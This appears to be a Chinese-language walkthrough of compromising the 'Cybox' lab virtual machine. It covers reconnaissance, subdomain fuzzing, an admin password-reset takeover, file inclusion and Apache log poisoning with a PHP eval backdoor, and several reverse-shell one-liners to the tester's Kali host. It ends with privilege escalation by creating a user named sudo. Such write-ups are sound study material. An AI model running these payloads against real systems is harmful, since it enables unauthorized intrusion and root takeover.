文章目录
- 主机发现
- 端口扫描
- web渗透
- nikto扫描
- 目录扫描
- 提权
主机发现
使用nmap扫描局域网内存活的主机,命令如下:
nmap -sP 192.168.56.0/24

- 192.168.56.1:主机IP;
- 192.168.56.100:DHCP服务器IP;
- 192.168.56.101:Kali IP;
- 192.168.56.102:靶机IP。
或者使用netdiscover通过ARP数据包扫描网段,命令如下:
netdiscover -i eth0 -r 192.168.56.0/24
-i指定网卡,指定哪个网卡,就扫描哪个网卡所在的局域网;
-r:扫描范围。

端口扫描
使用nmap对靶机进行端口扫描,命令如下:
nmap -p- -sV -A 192.168.56.105 -oN scan.txt
-oN:以txt文本格式输出nmap扫描结果。

可见这台靶机,开放了端口:21(ftp,文件传输协议)、25(smtp,邮件传输(发送)协议)、80(http,web服务)、110(pop3,邮件传输(接收)协议)、143(imap,邮件传输(接收)协议)、443(ssl,安全套接层)。
通常情况,先对80端口的web服务进行渗透。
web渗透
nikto扫描
首先用nikto对网站进行基本的扫描,命令如下:
nikto -host http://192.168.56.102

并没有太多有用的信息。
目录扫描
使用dirsearch进行目录扫描。命令如下:
dirsearch -u http://192.168.56.102 -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

或者使用gobuster,命令如下:
dirsearch dir -u http://192.168.56.102 -w ./directory.txt -x php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

http状态码的含义:
- 2XX:成功状态,表明客户端的请求已经被服务器端成功接收并正确解析。200表示请求成功。
- 3XX:重定向,表示客户端需要采取更进一步的行动来完成请求。301代表永久重定向。
- 4XX:客户端错误,表示客户端的请求存在错误,导致服务器无法处理。401表示需要身份验证,403表示禁止访问。
在目录扫描的时候,我们发现了assets目录是可以访问的,但是没啥用~

然后,在扫描中也扫描到了phpmyadmin路径,虽说是403,但是仍然存在,只是我们没有权限访问。

回到主界面,看到cybox.company这个域名,因为这个域名并不在DNS服务器上做备份,所以我们要是直接访问cybox,company的话,是解析不到IP的,我们在host文件中绑定域名和IP,再访问该域名就可以找到这个IP,因为本机host文件是先于DNS服务器的。

vim /etc/hosts
# 内容
192.168.56.102 cybox.company
source /etc/hosts # 重新加载hosts文件
这个时候,我们就可以做子域名挖掘,看看cybox.company这个主域名下还有哪些子域名。命令如下:
wfuzz -H 'HOST:FUZZ.cybox.company' -u 'http://192.168.56.102' -w <directory> --hw 489,27
# --hw
gobuster vhost -v http://cybox.company -w <directory>


gobuster好像扫不出来,不知道为啥,还是用wfuzz吧。
vim /etc/hosts
# 内容,vim中连续yy代表复制当前行,p代表粘贴
192.168.56.102 ftp.cybox.company
192.168.56.102 register.cybox.company
192.168.56.102 dev.cybox.company
192.168.56.102 webmail.cybox.company
192.168.56.102 monitor.cybox.company

访问dev.cybox.company,有一个phpinfo界面;

访问webmail.cybox.company,是一个邮件登录页面;

登录窗口先试一下sql注入,发现并没有sql注入。这个邮件系统的版本为1.4.22,搜索了一下,只发现一个远程代码执行的漏洞,但是前提是有一个可登录的用户名和密码,所以也没啥用。
访问monitor.cybox.company,也有一个登陆界面

先试一下SQL注入,直接报邮件格式不正确。试试抓包,修改POST参数为万能密码。发现并不可行。其实联想到主页面Contact: admin@cybox.company,这里有一个email,试过之后确实有这个账户,但是不知道密码。

访问ftp.cybox.company,也有一个登陆界面。

访问register.cybox.company,可以注册一个用户,然后也可以注册成功。
silver@cybox.company
silver
只是不知道,注册的账户名和密码能在哪儿用。之前不是有好几个页面可以登录吗?一个一个试

最终发现用name:silver password:silver可以登录邮件服务器。根据之前的信息,1.4.22版本的邮件服务器有远程代码执行漏洞,现在我们有可以登录的用户名和密码了,去试试~
脚本没使用成功,大佬有兴趣试试CVE-2017-7692
去monitor.cybox.company注册一个账号~

进入了一个控制面板,但是好像没啥有用的东西。

试想,要使用admin用户登录这个monitor.cybox.company,是不是会看到不一样的界面。根据之前的信息,我们知道管理员的邮箱为admin@cybox.company。测试发现admin用户确实也存在~

该页面下还有一个忘记密码的选项,输入邮箱地址,重置密码的链接就会发到邮箱中,我们不是已经登陆到squirremail了吗?

在邮箱中确实有一个重置密码的链接~


我们将email地址改为
admin@cybox.company,是不是就可以重置admin用户的密码了呢?
需要注意的是,不能直接在url上改,抓个包,会发现目标emil在post数据中。重置密码后,就可以登录admin用户。


进入admin panel,啊o~

在源码中,发现该页面是通过引入style.php来读取css文件,加上这里可以传参,可以试试有没有文件包含漏洞~ 但是,需要注意的是,访问该页面需要admin用户的cookie。

通过bp抓包的方式,访问styles.php文件,%00(空字符)表示字符串终止,就是传参结束。没有%00是读不到/etc/passwd文件的。

既然我们能解析并读取php文件,如果我们能找到日志文件,并且往日志文件插入后门代码,是不是就可以拿到reverse shell呢?
dev.cybox.company正好有一个phpinfo的页面,通过该页面我们可以知道:
- 所有子域名都在一台计算机上,只是存放位置不一样;
- 中间件使用了apache服务器,后端语言脚本为php,apahce服务器的根目录在
opt/bitnami/apache2。

apache访问日志路径opt/bitnami/apache2/logs/access_log,访问日志记录网站访问信息,但是并不一定会记录所有子域名的访问信息。
这个访问日志记录的是
ftp.cybox.company这个域名的访问信息。

根据日志内容,我们直接将后门写到UA头中
<?php @eval($_GET[x]);?>

再访问日志,就发现执行了whoami命令。

nc -nlvp 4444 # kali监听443端口
system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.101 443 >/tmp/f'); # GET传参,URL编码一下
# 下面这个reverse shell也可以
# python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.101",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

- 这个靶场只允许部分端口与外界通信,4444端口就不行;
- 不是所有的reverse shell都可以反弹成功,有些(如,
/bin/bash -i > /dev/tcp/192.168.56.101/443 0<& 2>&1就不行)。
提权
登录到系统,第一件事进入/home目录,查看用户。

我们发现有admin、cybox、silver三个用户,silver用户应该是我们之前通过register创建的。
再搜索具备SUID权限的程序,命令如下:
find / -perm -u=s -type f 2>/dev/null

/usr/bin/...和/bin/...都是常见的目录,没啥用。重点关注/opt/registerlauncher。切换到/opt目录下,运行registerlauncher,发现就是之前register.cybox.company调用的程序。

python -c 'import pty; pty.spawn("/bin/bash")' # 得到半交互式shell,以便查看文件内容
file registerlauncher # 查看文件类型

发现文件是二进制文件。
strings registerlauncher # 查看二进制文件的关键信息

该二进制文件除了调用一些函数外,还调用了/opt/register这个文件,去看看这个文件啥内容

创建一个用户,并且-g为这个用户分配一个组,组名就是用户名。
在linux系统中,有一个
sudo组,这个组里的用户可以通过sudo执行需要root权限的命令。
试想创建一个sudo用户,就会自动分配到sudo组里,再查看sudo用户的权限。

sudo用户执行所有命令都是以root权限执行,直接sudo bash,以root用户调用shell。














![[医学分割大模型系列] (3) SAM-Med3D 分割大模型详解](https://img-blog.csdnimg.cn/direct/0c0f3f00b6de497390ec1ee4a2d8b1d2.png)





